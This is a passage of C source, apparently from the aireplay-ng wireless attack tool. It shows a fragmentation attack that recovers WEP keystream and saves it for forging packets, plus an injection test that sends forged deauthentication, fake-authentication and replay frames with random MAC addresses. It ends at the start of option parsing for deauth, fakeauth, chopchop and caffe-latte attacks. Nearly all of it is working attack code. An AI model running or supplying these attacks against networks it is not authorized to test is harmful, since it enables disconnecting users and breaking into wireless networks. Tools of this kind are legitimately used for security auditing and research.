memcpy(prga, packet+z+4, 36); xor_keystream(prga, h80211+24, 36); } memcpy(iv, packet+z, 4); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 384 bytes of a keystream\n"); arplen=408; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', arplen+8); arplen+=32; } acksgot=0; packets=(arplen-24)/(32); if( (arplen-24)%(32) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 32, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 400-24 && caplen-z < 500-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 408); if (caplen-z == 416-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 448-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 416); } memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, 384); xor_keystream(prga, h80211+24, 384); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 1500 bytes of a keystream\n"); make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 1500); arplen=1500; if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 1508); arplen+=32; } acksgot=0; packets=(arplen-24)/(300); if( (arplen-24)%(300) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 300, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 1496-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { printf("Still nothing, quitting with 384 bytes? [y/n] \n"); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) again = ABORT; else again = NEW_IV; } break; } } } if(again == NEW_IV) continue; if(again == ABORT) length = 408; else length = 1500; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, length); if (caplen == length+8+z) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen == length+16+z) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', length+8); } if(again != ABORT) { memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, length); xor_keystream(prga, h80211+24, length); } lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "fragment-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); save_prga(strbuf, iv, prga, length); printf( "Saving keystream in %s\n", strbuf ); printf("Now you can build a packet with packetforge-ng out of that %d bytes keystream\n", length); done=1; } return( 0 ); } int grab_essid(unsigned char* packet, int len) { int i=0, j=0, pos=0, tagtype=0, taglen=0, chan=0; unsigned char bssid[6]; memcpy(bssid, packet+16, 6); taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = packet[pos]; taglen = packet[pos+1]; } while(tagtype != 3 && pos < len-2); if(tagtype != 3) return -1; if(taglen != 1) return -1; if(pos+2+taglen > len) return -1; chan = packet[pos+2]; pos=0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = packet[pos]; taglen = packet[pos+1]; } while(tagtype != 0 && pos < len-2); if(tagtype != 0) return -1; if(taglen > 250) taglen = 250; if(pos+2+taglen > len) return -1; for(i=0; i<20; i++) { if( ap[i].set) { if( memcmp(bssid, ap[i].bssid, 6) == 0 ) //got it already { if(packet[0] == 0x50 && !ap[i].found) { ap[i].found++; } if(ap[i].chan == 0) ap[i].chan=chan; break; } } if(ap[i].set == 0) { for(j=0; j 127) { return -1; } } ap[i].set = 1; ap[i].len = taglen; memcpy(ap[i].essid, packet+pos+2, taglen); ap[i].essid[taglen] = '\0'; memcpy(ap[i].bssid, bssid, 6); ap[i].chan = chan; if(packet[0] == 0x50) ap[i].found++; return 0; } } return -1; } static int get_ip_port(char *iface, char *ip, const int ip_size) { char *host; char *ptr; int port = -1; struct in_addr addr; host = strdup(iface); if (!host) return -1; ptr = strchr(host, ':'); if (!ptr) goto out; *ptr++ = 0; if (!inet_aton(host, (struct in_addr *)&addr)) goto out; /* XXX resolve hostname */ if(strlen(host) > 15) { port = -1; goto out; } strncpy(ip, host, ip_size); port = atoi(ptr); if(port <= 0) port = -1; out: free(host); return port; } void dump_packet(unsigned char* packet, int len) { int i=0; for(i=0; i0 && i%4 == 0)printf(" "); if(i>0 && i%16 == 0)printf("\n"); printf("%02X ", packet[i]); } printf("\n\n"); } struct net_hdr { uint8_t nh_type; uint32_t nh_len; uint8_t nh_data[0]; } __packed; int tcp_test(const char* ip_str, const short port) { int sock, i; struct sockaddr_in s_in; int packetsize = 1024; unsigned char packet[packetsize]; struct timeval tv, tv2, tv3; int caplen = 0; int times[REQUESTS]; int min, avg, max, len; struct net_hdr nh; tv3.tv_sec=0; tv3.tv_usec=1; s_in.sin_family = PF_INET; s_in.sin_port = htons(port); if (!inet_aton(ip_str, &s_in.sin_addr)) return -1; if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) return -1; /* avoid blocking on reading the socket */ if( fcntl( sock, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); close(sock); return( 1 ); } gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { if (connect(sock, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) { if(errno != EINPROGRESS && errno != EALREADY) { perror("connect"); close(sock); printf("Failed to connect\n"); return -1; } } else { gettimeofday( &tv2, NULL ); break; } gettimeofday( &tv2, NULL ); //wait 3000ms for a successful connect if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3000*1000)) { printf("Connection timed out\n"); close(sock); return(-1); } usleep(10); } PCT; printf("TCP connection successful\n"); //trying to identify airserv-ng memset(&nh, 0, sizeof(nh)); // command: GET_CHAN nh.nh_type = 2; nh.nh_len = htonl(0); if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh)) { perror("send"); close(sock); return -1; } gettimeofday( &tv, NULL ); i=0; while (1) //waiting for GET_CHAN answer { caplen = read(sock, &nh, sizeof(nh)); if(caplen == -1) { if( errno != EAGAIN ) { perror("read"); close(sock); return -1; } } if(caplen > 0 && (unsigned)caplen == sizeof(nh)) { len = ntohl(nh.nh_len); if (len <= packetsize && len > 0) { if( nh.nh_type == 1 && i==0 ) { i=1; caplen = read(sock, packet, len); if(caplen == len) { i=2; break; } else { i=0; } } else { caplen = read(sock, packet, len); } } } gettimeofday( &tv2, NULL ); //wait 1000ms for an answer if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1000*1000)) { break; } if(caplen == -1) usleep(10); } if(i==2) { PCT; printf("airserv-ng found\n"); } else { PCT; printf("airserv-ng NOT found\n"); } close(sock); for(i=0; i (1000*1000)) { break; } //simple "high-precision" usleep select(1, NULL, NULL, NULL, &tv3); } times[i] = ((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)); printf( "\r%d/%d\r", i, REQUESTS); fflush(stdout); close(sock); } min = INT_MAX; avg = 0; max = 0; for(i=0; i max) max = times[i]; avg += times[i]; } avg /= REQUESTS; PCT; printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n", ip_str, port, min/ #if defined(__x86_64__) && defined(__CYGWIN__) (0.0f + 1000), avg/(0.0f + 1000), max/(0.0f + 1000)); #else 1000.0, avg/1000.0, max/1000.0); #endif return 0; } int do_attack_test() { unsigned char packet[4096]; struct timeval tv, tv2, tv3; int len=0, i=0, j=0, k=0; int gotit=0, answers=0, found=0; int caplen=0, essidlen=0; unsigned int min, avg, max; int ret=0; float avg2; struct rx_info ri; unsigned long atime=200; //time in ms to wait for answer packet (needs to be higher for airserv) unsigned char nulldata[1024]; if(opt.port_out > 0) { atime += 200; PCT; printf("Testing connection to injection device %s\n", opt.iface_out); ret = tcp_test(opt.ip_out, opt.port_out); if(ret != 0) { return( 1 ); } printf("\n"); /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; printf("\n"); dev.fd_out = wi_fd(_wi_out); wi_get_mac(_wi_out, dev.mac_out); if(opt.s_face == NULL) { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } } if(opt.s_face && opt.port_in > 0) { atime += 200; PCT; printf("Testing connection to capture device %s\n", opt.s_face); ret = tcp_test(opt.ip_in, opt.port_in); if(ret != 0) { return( 1 ); } printf("\n"); /* open the packet source */ _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); printf("\n"); } else if(opt.s_face && opt.port_in <= 0) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); printf("\n"); } if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } if(getnet(NULL, 0, 0) != 0) return 1; srand( time( NULL ) ); memset(ap, '\0', 20*sizeof(struct APt)); essidlen = strlen(opt.r_essid); if( essidlen > 250) essidlen = 250; if( essidlen > 0 ) { ap[0].set = 1; ap[0].found = 0; ap[0].len = essidlen; memcpy(ap[0].essid, opt.r_essid, essidlen); ap[0].essid[essidlen] = '\0'; memcpy(ap[0].bssid, opt.r_bssid, 6); found++; } if(opt.bittest) set_bitrate(_wi_out, RATE_1M); PCT; printf("Trying broadcast probe requests...\n"); memcpy(h80211, PROBE_REQ, 24); len = 24; h80211[24] = 0x00; //ESSID Tag Number h80211[25] = 0x00; //ESSID Tag Length len += 2; memcpy(h80211+len, RATES, 16); len += 16; gotit=0; answers=0; for(i=0; i<3; i++) { /* random source so we can identify our packets */ opt.r_smac[0] = 0x00; opt.r_smac[1] = rand() & 0xFF; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; opt.r_smac[5] = rand() & 0xFF; memcpy(h80211+10, opt.r_smac, 6); send_packet(h80211, len); gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), &ri); if (packet[0] == 0x50 ) //Is probe response { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { if(grab_essid(packet, caplen) == 0 && (!memcmp(opt.r_bssid, NULL_MAC, 6))) { found++; } if(!answers) { PCT; printf("Injection is working!\n"); if(opt.fast) return 0; gotit=1; answers++; } } } if (packet[0] == 0x80 ) //Is beacon frame { if(grab_essid(packet, caplen) == 0 && (!memcmp(opt.r_bssid, NULL_MAC, 6))) { found++; } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (3*atime*1000)) //wait 'atime'ms for an answer { break; } } } if(answers == 0) { PCT; printf("No Answer...\n"); } PCT; printf("Found %d AP%c\n", found, ((found == 1) ? ' ' : 's' ) ); if(found > 0) { printf("\n"); PCT; printf("Trying directed probe requests...\n"); } for(i=0; i -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } if (packet[0] == 0xC4 ) //Is clear-to-send { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } if (packet[0] == 0xD4 ) //Is ack { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } if (packet[0] == 0xB0 ) //Is auth response { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { if (! memcmp(packet+10, packet+16, 6)) //From BSS ID { gettimeofday( &tv3, NULL); ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec)); if(!answers) { if(opt.fast) { PCT; printf("Injection is working!\n\n"); return 0; } answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (atime*1000)) //wait 'atime'ms for an answer { break; } usleep(10); } printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1))); fflush(stdout); } for(j=0; j 0) { if(ap[i].ping[j] > max) max = ap[i].ping[j]; if(ap[i].ping[j] < min) min = ap[i].ping[j]; avg += ap[i].ping[j]; avg2 += ap[i].pwr[j]; } } if(ap[i].found > 0) { avg /= ap[i].found; avg2 /= ap[i].found; PCT; printf("Ping (min/avg/max): %.3fms/%.3fms/%.3fms Power: %.2f\n", #if defined(__x86_64__) && defined(__CYGWIN__) (min/(0.0f + 1000)), (avg/(0.0f + 1000)), (max/(0.0f + 1000)), avg2); #else (min/1000.0), (avg/1000.0), (max/1000.0), avg2); #endif } PCT; printf("%2d/%2d: %3d%%\n\n", ap[i].found, REQUESTS, ((ap[i].found*100)/REQUESTS)); if(!gotit && answers) { PCT; printf("Injection is working!\n\n"); gotit=1; } } if(opt.bittest) { if(found > 0) { PCT; printf("Trying directed probe requests for all bitrates...\n"); } for(i=0; i -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (100*1000)) //wait 300ms for an answer { break; } usleep(10); } printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1))); fflush(stdout); } for(j=0; j 0) avg2 /= ap[i].found; PCT; printf("Probing at %2.1f Mbps:\t%2d/%2d: %3d%%\n", wi_get_rate(_wi_out)/ #if defined(__x86_64__) && defined(__CYGWIN__) (0.0f + 1000000), #else 1000000.0, #endif ap[i].found, REQUESTS, ((ap[i].found*100)/REQUESTS)); } if(!gotit && answers) { PCT; printf("Injection is working!\n\n"); if(opt.fast) return 0; gotit=1; } } } if(opt.bittest) set_bitrate(_wi_out, RATE_1M); if( opt.s_face != NULL ) { printf("\n"); PCT; printf("Trying card-to-card injection...\n"); /* sync both cards to the same channel, or the test will fail */ if(wi_get_channel(_wi_out) != wi_get_channel(_wi_in)) { wi_set_channel(_wi_out, wi_get_channel(_wi_in)); } /* Attacks */ for(i=0; i<5; i++) { k=0; /* random macs */ opt.f_smac[0] = 0x00; opt.f_smac[1] = rand() & 0xFF; opt.f_smac[2] = rand() & 0xFF; opt.f_smac[3] = rand() & 0xFF; opt.f_smac[4] = rand() & 0xFF; opt.f_smac[5] = rand() & 0xFF; opt.f_dmac[0] = 0x00; opt.f_dmac[1] = rand() & 0xFF; opt.f_dmac[2] = rand() & 0xFF; opt.f_dmac[3] = rand() & 0xFF; opt.f_dmac[4] = rand() & 0xFF; opt.f_dmac[5] = rand() & 0xFF; opt.f_bssid[0] = 0x00; opt.f_bssid[1] = rand() & 0xFF; opt.f_bssid[2] = rand() & 0xFF; opt.f_bssid[3] = rand() & 0xFF; opt.f_bssid[4] = rand() & 0xFF; opt.f_bssid[5] = rand() & 0xFF; if(i==0) //attack -0 { memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_smac, 6 ); opt.f_iswep = 0; opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 26; } else if(i==1) //attack -1 (open) { memcpy( h80211, AUTH_REQ, 30 ); memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_smac , 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); opt.f_iswep = 0; opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 30; } else if(i==2) //attack -1 (psk) { memcpy( h80211, ska_auth3, 24); memcpy( h80211 + 4, opt.f_dmac, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_bssid, 6); //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<132; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = 1; opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+132; } else if(i==3) //attack -3 { memcpy( h80211, NULL_DATA, 24); memcpy( h80211 + 4, opt.f_bssid, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_dmac, 6); //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<132; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = -1; opt.f_tods = 1; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+132; } else if(i==4) //attack -5 { memcpy( h80211, NULL_DATA, 24); memcpy( h80211 + 4, opt.f_bssid, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_dmac, 6); h80211[1] |= 0x04; h80211[22] = 0x0A; h80211[23] = 0x00; //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<7; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = -1; opt.f_tods = 1; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+7; } for(j=0; (j<(REQUESTS/4) && !k); j++) //try it 5 times { send_packet( h80211, opt.f_minlen ); gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), &ri); if ( filter_packet(packet, caplen) == 0 ) //got same length and same type { if(!answers) { answers++; } if(i == 0) //attack -0 { if( h80211[0] == packet[0] ) { k=1; break; } } else if(i==1) //attack -1 (open) { if( h80211[0] == packet[0] ) { k=1; break; } } else if(i==2) //attack -1 (psk) { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { k=1; break; } } else if(i==3) //attack -2/-3/-4/-6 { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { k=1; break; } } else if(i==4) //attack -5/-7 { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { if( (packet[1] & 0x04) && memcmp( h80211+22, packet+22, 2 ) == 0 ) { k=1; break; } } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (3*atime*1000)) //wait 3*'atime' ms for an answer { break; } usleep(10); } } if(k) { k=0; if(i==0) //attack -0 { PCT; printf("Attack -0: OK\n"); } else if(i==1) //attack -1 (open) { PCT; printf("Attack -1 (open): OK\n"); } else if(i==2) //attack -1 (psk) { PCT; printf("Attack -1 (psk): OK\n"); } else if(i==3) //attack -3 { PCT; printf("Attack -2/-3/-4/-6: OK\n"); } else if(i==4) //attack -5 { PCT; printf("Attack -5/-7: OK\n"); } } else { if(i==0) //attack -0 { PCT; printf("Attack -0: Failed\n"); } else if(i==1) //attack -1 (open) { PCT; printf("Attack -1 (open): Failed\n"); } else if(i==2) //attack -1 (psk) { PCT; printf("Attack -1 (psk): Failed\n"); } else if(i==3) //attack -3 { PCT; printf("Attack -2/-3/-4/-6: Failed\n"); } else if(i==4) //attack -5 { PCT; printf("Attack -5/-7: Failed\n"); } } } if(!gotit && answers) { PCT; printf("Injection is working!\n"); if(opt.fast) return 0; gotit=1; } } return 0; } int main( int argc, char *argv[] ) { int n, i, ret; /* check the arguments */ memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); opt.f_type = -1; opt.f_subtype = -1; opt.f_minlen = -1; opt.f_maxlen = -1; opt.f_tods = -1; opt.f_fromds = -1; opt.f_iswep = -1; opt.ringbuffer = 8; opt.a_mode = -1; opt.r_fctrl = -1; opt.ghost = 0; opt.delay = 15; opt.bittest = 0; opt.fast = 0; opt.r_smac_set = 0; opt.npackets = 1; opt.nodetect = 0; opt.rtc = 1; opt.f_retry = 0; opt.reassoc = 0; /* XXX */ #if 0 #if defined(__FreeBSD__) /* check what is our FreeBSD version. injection works only on 7-CURRENT so abort if it's a lower version. */ if( __FreeBSD_version < 700000 ) { fprintf( stderr, "Aireplay-ng does not work on this " "release of FreeBSD.\n" ); exit( 1 ); } #endif #endif while( 1 ) { int option_index = 0; static struct option long_options[] = { {"deauth", 1, 0, '0'}, {"fakeauth", 1, 0, '1'}, {"interactive", 0, 0, '2'}, {"arpreplay", 0, 0, '3'}, {"chopchop", 0, 0, '4'}, {"fragment", 0, 0, '5'}, {"caffe-latte", 0, 0, '6'}, {"cfrag", 0, 0, '7'}, {"test", 0, 0, '9'}, {"help", 0, 0, 'H'}, {"fast", 0, 0, 'F'}, {"bittest", 0, 0, 'B'}, {"migmode", 0, 0, '8'}, {"ignore-negative-one", 0, &opt.ignore_negative_one, 1}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "b:d:s:m:n:u:v:t:T:f:g:w:x:p:a:c:h:e:ji:r:k:l:y:o:q:Q0:1:23456789HFBDR", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'b' : if( getmac( optarg, 1 ,opt.f_bssid ) != 0 ) { printf( "Invalid BSSID (AP MAC address).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'd' : if( getmac( optarg, 1, opt.f_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 's' : if( getmac( optarg, 1, opt.f_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'm' : ret = sscanf( optarg, "%d", &opt.f_minlen ); if( opt.f_minlen < 0 || ret != 1 ) { printf( "Invalid minimum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'n' : ret = sscanf( optarg, "%d", &opt.f_maxlen ); if( opt.f_maxlen < 0 || ret != 1 ) { printf( "Invalid maximum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'u' : ret = sscanf( optarg, "%d", &opt.f_type ); if( opt.f_type < 0 || opt.f_type > 3 || ret != 1 ) { printf( "Invalid type filter. [0-3]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'v' : ret = sscanf( optarg, "%d", &opt.f_subtype ); if( opt.f_subtype < 0 || opt.f_subtype > 15 || ret != 1 ) { printf( "Invalid subtype filter. [0-15]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'T' : ret = sscanf(optarg, "%d", &opt.f_retry); if ((opt.f_retry < 1) || (opt.f_retry > 65535) || (ret != 1)) { printf("Invalid retry setting. [1-65535]\n"); printf("\"%s --help\" for help.\n", argv[0]); return(1); } break; case 't' : ret = sscanf( optarg, "%d", &opt.f_tods ); if(( opt.f_tods != 0 && opt.f_tods != 1 ) || ret != 1 ) { printf( "Invalid tods filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'f' : ret = sscanf( optarg, "%d", &opt.f_fromds ); if(( opt.f_fromds != 0 && opt.f_fromds != 1 ) || ret != 1 ) { printf( "Invalid fromds filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'w' : ret = sscanf( optarg, "%d", &opt.f_iswep ); if(( opt.f_iswep != 0 && opt.f_iswep != 1 ) || ret != 1 ) { printf( "Invalid wep filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'x' : ret = sscanf( optarg, "%d", &opt.r_nbpps ); if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 ) { printf( "Invalid number of packets per second. [1-1024]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'o' : ret = sscanf( optarg, "%d", &opt.npackets ); if( opt.npackets < 0 || opt.npackets > 512 || ret != 1 ) { printf( "Invalid number of packets per burst. [0-512]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'q' : ret = sscanf( optarg, "%d", &opt.delay ); if( opt.delay < 1 || opt.delay > 600 || ret != 1 ) { printf( "Invalid number of seconds. [1-600]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'Q' : opt.reassoc = 1; break; case 'p' : ret = sscanf( optarg, "%x", &opt.r_fctrl ); if( opt.r_fctrl < 0 || 